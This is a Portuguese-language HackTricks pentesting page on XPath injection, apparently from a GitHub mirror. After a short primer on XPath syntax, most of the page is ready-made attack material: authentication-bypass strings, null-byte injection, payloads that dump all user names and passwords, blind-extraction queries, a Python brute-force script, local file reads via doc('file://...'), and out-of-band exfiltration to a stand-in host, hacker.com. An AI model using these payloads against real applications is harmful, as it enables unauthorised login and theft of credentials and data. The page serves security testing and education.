2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-23 11:33:29 +00:00
hacktricks/pentesting-web/xpath-injection.md
2024-12-12 13:56:11 +01:00

14 KiB

XPATH injection

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Sintaxe Básica

Uma técnica de ataque conhecida como XPath Injection é utilizada para aproveitar aplicações que formam consultas XPath (XML Path Language) com base na entrada do usuário para consultar ou navegar em documentos XML.

Nós Descritos

Expressões são usadas para selecionar vários nós em um documento XML. Essas expressões e suas descrições estão resumidas abaixo:

  • nodename: Todos os nós com o nome "nodename" são selecionados.
  • /: A seleção é feita a partir do nó raiz.
  • //: Nós que correspondem à seleção a partir do nó atual são selecionados, independentemente de sua localização no documento.
  • .: O nó atual é selecionado.
  • ..: O pai do nó atual é selecionado.
  • @: Atributos são selecionados.

Exemplos de XPath

Exemplos de expressões de caminho e seus resultados incluem:

  • bookstore: Todos os nós nomeados "bookstore" são selecionados.
  • /bookstore: O elemento raiz bookstore é selecionado. Nota-se que um caminho absoluto para um elemento é representado por um caminho que começa com uma barra (/).
  • bookstore/book: Todos os elementos book que são filhos de bookstore são selecionados.
  • //book: Todos os elementos book no documento são selecionados, independentemente de sua localização.
  • bookstore//book: Todos os elementos book que são descendentes do elemento bookstore são selecionados, não importa sua posição sob o elemento bookstore.
  • //@lang: Todos os atributos nomeados lang são selecionados.

Utilização de Predicados

Predicados são usados para refinar seleções:

  • /bookstore/book[1]: O primeiro elemento book filho do elemento bookstore é selecionado. Uma solução alternativa para versões do IE de 5 a 9, que indexam o primeiro nó como [0], é definir o SelectionLanguage como XPath através do JavaScript.
  • /bookstore/book[last()]: O último elemento book filho do elemento bookstore é selecionado.
  • /bookstore/book[last()-1]: O penúltimo elemento book filho do elemento bookstore é selecionado.
  • /bookstore/book[position()<3]: Os dois primeiros elementos book filhos do elemento bookstore são selecionados.
  • //title[@lang]: Todos os elementos title com um atributo lang são selecionados.
  • //title[@lang='en']: Todos os elementos title com um valor de atributo "lang" igual a "en" são selecionados.
  • /bookstore/book[price>35.00]: Todos os elementos book do bookstore com um preço maior que 35.00 são selecionados.
  • /bookstore/book[price>35.00]/title: Todos os elementos title dos elementos book do bookstore com um preço maior que 35.00 são selecionados.

Manipulação de Nós Desconhecidos

Curingas são empregados para corresponder a nós desconhecidos:

  • *: Corresponde a qualquer nó de elemento.
  • @*: Corresponde a qualquer nó de atributo.
  • node(): Corresponde a qualquer nó de qualquer tipo.

Mais exemplos incluem:

  • /bookstore/*: Seleciona todos os nós de elemento filho do elemento bookstore.
  • //*: Seleciona todos os elementos no documento.
  • //title[@*]: Seleciona todos os elementos title com pelo menos um atributo de qualquer tipo.

Exemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acesse as informações

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar e roubar o esquema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass de Autenticação

Exemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OU bypass em usuário e senha (mesmo valor em ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abusando da injeção nula

Username: ' or 1]%00

Double OR em Nome de Usuário ou em Senha (é válido com apenas 1 campo vulnerável)

IMPORTANTE: Observe que o "and" é a primeira operação realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extração de strings

A saída contém strings e o usuário pode manipular os valores para pesquisar:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploração Cega

Obter o comprimento de um valor e extraí-lo por comparações:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemplo em Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Ler arquivo

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploração OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Ferramenta automática

Referências

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}